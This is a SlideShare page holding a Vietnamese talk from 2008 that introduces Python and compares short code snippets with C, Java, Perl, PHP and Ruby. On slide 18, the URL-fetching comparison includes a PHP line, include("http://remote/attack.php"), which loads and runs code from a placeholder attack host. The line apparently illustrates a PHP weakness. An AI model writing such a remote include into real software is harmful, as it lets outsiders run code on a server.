SlideShare a Scribd company logo
Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
Nội dung Kinh nghiệm bản thân Giới thiệu Python Nguyên lý căn bản của Python So sánh với ngôn ngữ khác Giới thiệu Vithon Hỏi và cùng trả lời
Kinh nghiệm bản thân Biết đến Python từ 2003 Học trong 5 tiếng Sử dụng hàng ngày cho đến tận bây giờ Sáu từ để diễn đạt: Học 5 tiếng, dùng suốt đời! Gặp nhiều khó khăn trong việc soạn slide Gần quên Java và C/C++ Đã quên sạch Perl, PHP và Ruby
Giới thiệu Python Ra đời năm 1991 Tác giả Guido Van Rossum, Hà Lan Là ngôn ngữ lập trình Tổng quát Kịch bản (scripting) Kiểu vịt (duck typing) Kiểu động (dynamic typing) Nhưng có kiểu (strongly typed) Kèm sẵn pin (Battery included)
Nguyên lý căn bản của Python Ưu tiên cho việc đọc lại code Khoảng trắng bắt buộc Hạn chế sử dụng ký tự đặc biệt Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để máy tính thực thi  ( Abelson & Sussman , MIT) Sự đơn giản được xem trọng Đã có  while , nên bỏ  do - while Đã có  elif , nên bỏ  switch - case
Nguyên lý căn bản của Python Ngôn ngữ khác có hộp, Python có thẻ a = 1 b = a a = 2 Python  (tên) Ngôn ngữ khác  (biến)
Nguyên lý căn bản của Python Kiểu cơ bản: int, long, float, dãy (sequence), từ điển (dictionary) A = 123  # int B = 123456789123456789  # long C = 123.456  # float D = (1, 2, 3)  # tuple E = [1, 2, 3]  # list F = “12345”  # string G = { 1 : ‘abc’, 2 : “def” }  # dictionary
Nguyên lý căn bản của Python Cấu trúc lặp và điều khiển if/elif/else while for Xử lý biệt lệ try/except try/finally try/except/else try/except/finally  (Python 2.5+)
Nguyên lý căn bản của Python Khai báo hàm bằng  def Khai báo lớp bằng  class Đa kế thừa (multiple inheritance) Tất cả mọi đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng Và chỉ đơn giản như thế thôi!
Perl ~!@#$%^&*() Ruby ~!@#$%^&*() Python ~%^&*() So sánh với ngôn ngữ khác Tính dễ đọc
C int a, b, t; t = a; a = b; b = t; Python a, b = b, a a, b, c=b, c, a So sánh với ngôn ngữ khác Hoán vị 2 số
Java BigInteger a, b, c; a = new BigInteger(“12345678901234567890”); b = new BigInteger(“12345678901234567890”); c = a.multiply(b); Python a = 12345678901234567890 b = 12345678901234567890 c = a * b So sánh với ngôn ngữ khác Tính toán số lớn
Java System.out.print(a[0]); for (int i = 1; i < a.length; i++) { System.out.print(“ “ + a[i]); } Python print “ “.join(a) So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
Java System.out.print(a[0]); for (int i = 1; i < a.length - 1; i++) { System.out.print(“ “ + a[i]); } System.out.print(“ va “ + a[a.length – 1]); Python print “ “.join(a[:-1]), “va”, a[-1] So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
Java // too many lines // to show // here Python f = open(filename, “rb”) d = f.read() f.close() So sánh với ngôn ngữ khác Đọc file
Perl open(DATA, “filename”); while ($line = <DATA>){ print $line; } close(DATA); Python f = open(filename, “r”) for line in f: print line f.close() So sánh với ngôn ngữ khác Đọc từng dòng
Java for (int i=0; i < a.length; i++) { if (a[i] % 2 == 0) b.add(a[i]); } Python b = [x for x in a if (x % 2) == 0] So sánh với ngôn ngữ khác Lọc phần tử trong mảng
PHP $file = fopen(“http://www.google.com”); Python import urllib2 r = urllib2.urlopen(“http://www.google.com”) So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
PHP strrev(“abc”); Ruby “ abc”.reverse Python “ abc”[::-1]  # cba So sánh với ngôn ngữ khác Đảo chuỗi
PHP gzdeflate(base64_decode(base64_encode(gzcompress(“abc”)))) Python “ abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”) So sánh với ngôn ngữ khác Chuyển mã
PHP N/A Python Ví dụ chương trình cờ tướng sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ. So sánh với ngôn ngữ khác Ứng dụng web
Giới thiệu Vithon Vietnamese Python Python cho người Việt Do người yêu thích Python Cho người yêu thích Python Tài liệu, diễn đàn, dự án, bài viết, bài dịch Hãy cùng tham gia http://www.vithon.org Python là số một nha!
Cảm ơn Life is short, use Python! Python cho phần đời còn lại! Nguyễn Thành Nam [email_address]
Hỏi và cùng trả lời

More Related Content

PDF
Pbc day-01-introduction
PDF
Bai 1 pythonvietnam.info
PDF
Python Beginner Class day-15-networking
PDF
Python Beginner Class day-03-flow
PPTX
Lập trình Python GUI vs PySide
PDF
Học python
PDF
Hướng dẫn tạo Loader trong .NET - bản dịch
PDF
Hướng dẫn deobfuscate DotnetPatcher 3.1 - Bài dịch
Pbc day-01-introduction
Bai 1 pythonvietnam.info
Python Beginner Class day-15-networking
Python Beginner Class day-03-flow
Lập trình Python GUI vs PySide
Học python
Hướng dẫn tạo Loader trong .NET - bản dịch
Hướng dẫn deobfuscate DotnetPatcher 3.1 - Bài dịch

What's hot (7)

PDF
Tùy biến Confuser
PDF
Reverse Engineering .NET - Advanced Patching, Playing with IL
PDF
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
PDF
Hacking de4dot for fun - Bài dịch
PDF
Python
PDF
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
DOCX
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Tùy biến Confuser
Reverse Engineering .NET - Advanced Patching, Playing with IL
Phân tích Confuser 1.9.0.0 - Constant Protection - Bản dịch
Hacking de4dot for fun - Bài dịch
Python
Các công cụ cần thiết cho quá trình Reverse Engineering .NET (bản đầy đủ)
Phân tích ConfuserEX - Invalid Metadata (bài dịch)
Ad

Viewers also liked (20)

PPT
How to learn English by yourself (IMA method)
KEY
沙龙升级
PDF
Créer un moteur de recherche avec des logiciels libres
DOC
Bộ đề thi và câu hỏi trắc nghiệm thuế
DOC
Th cac cong thuc mon qt tai chinh
PPTX
Spanish omelette
PPTX
A jövő hackerei
PPT
Wooh dance workshop
PDF
The Cloud as a Platform
PPT
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
PPT
Pucha Kucha
DOC
United We Respond: One Community, One Voice
PPT
Online Organizing
PDF
Media Villa Arnhem - Crowdfunding #mediavilla026
PPT
United We Respond
PDF
Using NFC to Crowd Curate Music Preferences
PDF
Designing a mobile service as a facilitator for capturing local trade data
PDF
Textile Storyboard Version 3 Guru
PDF
Reiss WIAD Los Angeles 2013
PPTX
Presentacion evaluation third project meeting in spain
How to learn English by yourself (IMA method)
沙龙升级
Créer un moteur de recherche avec des logiciels libres
Bộ đề thi và câu hỏi trắc nghiệm thuế
Th cac cong thuc mon qt tai chinh
Spanish omelette
A jövő hackerei
Wooh dance workshop
The Cloud as a Platform
0760111 Cell Phones: The Good, The Bad, and the Solid Gold
Pucha Kucha
United We Respond: One Community, One Voice
Online Organizing
Media Villa Arnhem - Crowdfunding #mediavilla026
United We Respond
Using NFC to Crowd Curate Music Preferences
Designing a mobile service as a facilitator for capturing local trade data
Textile Storyboard Version 3 Guru
Reiss WIAD Los Angeles 2013
Presentacion evaluation third project meeting in spain
Ad

Similar to Python for the rest of life (20)

PPTX
Lập trình cho trí tuệ nhân tạo tuần 2.pptx
PDF
DoThanhNghi2016_Python.pdf
PDF
Bài giảng ngôn ngữ lập trình hiện nay: Ngôn ngữ Python
PDF
Bài giảng ngôn ngữ lập trình hiện nay: Python
PDF
Python moi
PPTX
Chương 1_Ngon ngu lap trinh python và các khái niệm cơ bản.pptx
PPTX
python3.pptx
PPTX
ky thuat lap tirnh giao tiep ky thuat lap tirnh giao tiep
PDF
Quyen 1. LY THUYET VA BAI TAP NNLT PYTHON.pdf
PPTX
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
PDF
Tai lieu huong_dan_ve_lap_trinh_php_7512
PDF
[C] giao trinh c dhbk - viet nhat
PPT
Php02 ngon nguphp
PDF
1. Java cơ bản.pdf
PPTX
Introduction to python 20110917
PPT
PDF
temp.pdf
PPT
Php Csdlweb06
PDF
C23_Buoi1_BasicC_aewfdvccccccccccccc.pdf
PDF
Các quy định& chuẩn trong lập trình NukeViet
Lập trình cho trí tuệ nhân tạo tuần 2.pptx
DoThanhNghi2016_Python.pdf
Bài giảng ngôn ngữ lập trình hiện nay: Ngôn ngữ Python
Bài giảng ngôn ngữ lập trình hiện nay: Python
Python moi
Chương 1_Ngon ngu lap trinh python và các khái niệm cơ bản.pptx
python3.pptx
ky thuat lap tirnh giao tiep ky thuat lap tirnh giao tiep
Quyen 1. LY THUYET VA BAI TAP NNLT PYTHON.pdf
ngon-ngu-lap-trinh-python_C1_cac_khai_niem_(PI).pptx
Tai lieu huong_dan_ve_lap_trinh_php_7512
[C] giao trinh c dhbk - viet nhat
Php02 ngon nguphp
1. Java cơ bản.pdf
Introduction to python 20110917
temp.pdf
Php Csdlweb06
C23_Buoi1_BasicC_aewfdvccccccccccccc.pdf
Các quy định& chuẩn trong lập trình NukeViet

More from Chip Huyen (6)

PPT
Twitter Review
PDF
Vietnam Online Advertising Industry: A quick overview
PPT
Interfaces, Surface Computing and Ubiquitous Computing
PDF
Startups in Vietnam
PPT
E Learner Platform 2 0
PPT
Vietnam Web Services Portal
Twitter Review
Vietnam Online Advertising Industry: A quick overview
Interfaces, Surface Computing and Ubiquitous Computing
Startups in Vietnam
E Learner Platform 2 0
Vietnam Web Services Portal

Python for the rest of life

  • 1. Python, ngôn ngữ lập trình cho phần đời còn lại Nguyễn Thành Nam http://www.vithon.org TPHCM, 2008-11-15
  • 2. Nội dung Kinh nghiệm bản thân Giới thiệu Python Nguyên lý căn bản của Python So sánh với ngôn ngữ khác Giới thiệu Vithon Hỏi và cùng trả lời
  • 3. Kinh nghiệm bản thân Biết đến Python từ 2003 Học trong 5 tiếng Sử dụng hàng ngày cho đến tận bây giờ Sáu từ để diễn đạt: Học 5 tiếng, dùng suốt đời! Gặp nhiều khó khăn trong việc soạn slide Gần quên Java và C/C++ Đã quên sạch Perl, PHP và Ruby
  • 4. Giới thiệu Python Ra đời năm 1991 Tác giả Guido Van Rossum, Hà Lan Là ngôn ngữ lập trình Tổng quát Kịch bản (scripting) Kiểu vịt (duck typing) Kiểu động (dynamic typing) Nhưng có kiểu (strongly typed) Kèm sẵn pin (Battery included)
  • 5. Nguyên lý căn bản của Python Ưu tiên cho việc đọc lại code Khoảng trắng bắt buộc Hạn chế sử dụng ký tự đặc biệt Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để máy tính thực thi ( Abelson & Sussman , MIT) Sự đơn giản được xem trọng Đã có while , nên bỏ do - while Đã có elif , nên bỏ switch - case
  • 6. Nguyên lý căn bản của Python Ngôn ngữ khác có hộp, Python có thẻ a = 1 b = a a = 2 Python (tên) Ngôn ngữ khác (biến)
  • 7. Nguyên lý căn bản của Python Kiểu cơ bản: int, long, float, dãy (sequence), từ điển (dictionary) A = 123 # int B = 123456789123456789 # long C = 123.456 # float D = (1, 2, 3) # tuple E = [1, 2, 3] # list F = “12345” # string G = { 1 : ‘abc’, 2 : “def” } # dictionary
  • 8. Nguyên lý căn bản của Python Cấu trúc lặp và điều khiển if/elif/else while for Xử lý biệt lệ try/except try/finally try/except/else try/except/finally (Python 2.5+)
  • 9. Nguyên lý căn bản của Python Khai báo hàm bằng def Khai báo lớp bằng class Đa kế thừa (multiple inheritance) Tất cả mọi đối tượng (gói, mô-đun, lớp, hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng Và chỉ đơn giản như thế thôi!
  • 10. Perl ~!@#$%^&*() Ruby ~!@#$%^&*() Python ~%^&*() So sánh với ngôn ngữ khác Tính dễ đọc
  • 11. C int a, b, t; t = a; a = b; b = t; Python a, b = b, a a, b, c=b, c, a So sánh với ngôn ngữ khác Hoán vị 2 số
  • 12. Java BigInteger a, b, c; a = new BigInteger(“12345678901234567890”); b = new BigInteger(“12345678901234567890”); c = a.multiply(b); Python a = 12345678901234567890 b = 12345678901234567890 c = a * b So sánh với ngôn ngữ khác Tính toán số lớn
  • 13. Java System.out.print(a[0]); for (int i = 1; i < a.length; i++) { System.out.print(“ “ + a[i]); } Python print “ “.join(a) So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
  • 14. Java System.out.print(a[0]); for (int i = 1; i < a.length - 1; i++) { System.out.print(“ “ + a[i]); } System.out.print(“ va “ + a[a.length – 1]); Python print “ “.join(a[:-1]), “va”, a[-1] So sánh với ngôn ngữ khác In các phần tử trong mảng n > 1
  • 15. Java // too many lines // to show // here Python f = open(filename, “rb”) d = f.read() f.close() So sánh với ngôn ngữ khác Đọc file
  • 16. Perl open(DATA, “filename”); while ($line = <DATA>){ print $line; } close(DATA); Python f = open(filename, “r”) for line in f: print line f.close() So sánh với ngôn ngữ khác Đọc từng dòng
  • 17. Java for (int i=0; i < a.length; i++) { if (a[i] % 2 == 0) b.add(a[i]); } Python b = [x for x in a if (x % 2) == 0] So sánh với ngôn ngữ khác Lọc phần tử trong mảng
  • 18. PHP $file = fopen(“http://www.google.com”); Python import urllib2 r = urllib2.urlopen(“http://www.google.com”) So sánh với ngôn ngữ khác Lấy file từ URL include(“http://remote/attack.php”);
  • 19. PHP strrev(“abc”); Ruby “ abc”.reverse Python “ abc”[::-1] # cba So sánh với ngôn ngữ khác Đảo chuỗi
  • 20. PHP gzdeflate(base64_decode(base64_encode(gzcompress(“abc”)))) Python “ abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”) So sánh với ngôn ngữ khác Chuyển mã
  • 21. PHP N/A Python Ví dụ chương trình cờ tướng sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ. So sánh với ngôn ngữ khác Ứng dụng web
  • 22. Giới thiệu Vithon Vietnamese Python Python cho người Việt Do người yêu thích Python Cho người yêu thích Python Tài liệu, diễn đàn, dự án, bài viết, bài dịch Hãy cùng tham gia http://www.vithon.org Python là số một nha!
  • 23. Cảm ơn Life is short, use Python! Python cho phần đời còn lại! Nguyễn Thành Nam [email_address]
  • 24. Hỏi và cùng trả lời